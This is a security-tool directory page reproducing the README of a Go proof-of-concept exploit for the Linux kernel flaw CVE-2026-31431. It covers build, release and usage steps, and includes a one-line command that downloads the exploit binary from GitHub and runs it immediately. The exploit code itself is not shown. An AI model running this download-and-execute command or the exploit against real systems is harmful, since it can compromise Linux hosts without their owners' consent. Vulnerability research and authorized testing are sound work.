Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Copy-Fail-CVE-2026-31431-Statically-PoC — Static Go proof-of-concept for CVE-2026-31431, leveraging Linux AF_ALG and splice(2) to trigger the vulnerability. Provides prebuilt binaries for amd64, arm64, and 386. | Kitploit
Tools/GitHubGitHub/percivalll/copy-fail-cve-2026-31431-statically-poc
Exploit FrameworksVulnerability AnalysisExploitationPayload DevelopmentBinary Exploitation
GitHubpercivalll/copy-fail-cve-2026-31431-statically-poc

Copy-Fail-CVE-2026-31431-Statically-PoC

Static Go proof-of-concept for CVE-2026-31431, leveraging Linux AF_ALG and splice(2) to trigger the vulnerability. Provides prebuilt binaries for amd64, arm64, and 386.

View Repository
3154 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Copy-Fail CVE-2026-31431 Static Go PoC

This repository contains a Go port of the public Python proof of concept from theori-io/copy-fail-CVE-2026-31431.

The program is Linux-only. It uses the Linux AF_ALG interface, AEAD control messages, and splice(2) to preserve the behavior of the original PoC while building as a small static Go binary.

Supported Targets

Release builds are generated for:

  • linux/amd64
  • linux/arm64
  • linux/386

Each binary embeds a payload ELF for the same target architecture.

macOS and Windows builds are intentionally not published because the PoC depends on Linux-specific kernel interfaces.

Download

Tagged releases publish compressed static binaries and a checksum manifest:

  • copy-fail-poc-linux-amd64.tar.gz
  • copy-fail-poc-linux-arm64.tar.gz
  • copy-fail-poc-linux-386.tar.gz
  • SHA256SUMS

Verify a downloaded artifact with:

root@kitploit:~
sha256sum -c SHA256SUMS

Build Locally

Requirements:

  • Go 1.25 or newer
  • Linux target support from the Go toolchain

Build the current host architecture:

root@kitploit:~
CGO_ENABLED=0 go build -trimpath -ldflags='-s -w -buildid=' -o copy-fail-poc ./cmd/copy-fail-poc

Cross-build a Linux target:

root@kitploit:~
GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -trimpath -ldflags='-s -w -buildid=' -o copy-fail-poc-linux-amd64 ./cmd/copy-fail-poc

Supported GOARCH values are amd64, arm64, and 386.

Run tests:

root@kitploit:~
go test ./...
go vet ./...

The tests only cover non-destructive helper logic. They do not execute the PoC trigger path.

Usage

Run the binary on a Linux system that you own or are explicitly authorized to test:

root@kitploit:~
./copy-fail-poc-linux-*

One-line release download and run:

root@kitploit:~
sh -c 'set -e; case "$(uname -m)" in x86_64) a=amd64;; aarch64|arm64) a=arm64;; i386|i686) a=386;; *) echo "unsupported arch: $(uname -m)" >&2; exit 1;; esac; curl -fsSL "https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Statically-PoC/releases/latest/download/copy-fail-poc-linux-${a}.tar.gz" | tar xz; ./copy-fail-poc-linux-${a}'

The behavior depends on the target kernel and local system configuration. The binary does not guarantee successful exploitation on every Linux system.

Release Process

The GitHub Actions workflow runs on tags matching v* and can also be started manually from the Actions tab.

Create a release:

root@kitploit:~
git tag v0.1.0
git push origin v0.1.0

For tag builds, the workflow creates a GitHub Release and uploads the Linux artifacts plus SHA256SUMS. For manual runs, artifacts are available from the workflow run.

Security Notice

This project is provided for authorized security research, defensive validation, and educational review only. Do not run it on systems you do not own or do not have explicit permission to test. You are responsible for complying with all applicable laws, contracts, and policies.

Credits

  • Original PoC: theori-io/copy-fail-CVE-2026-31431
Download Tool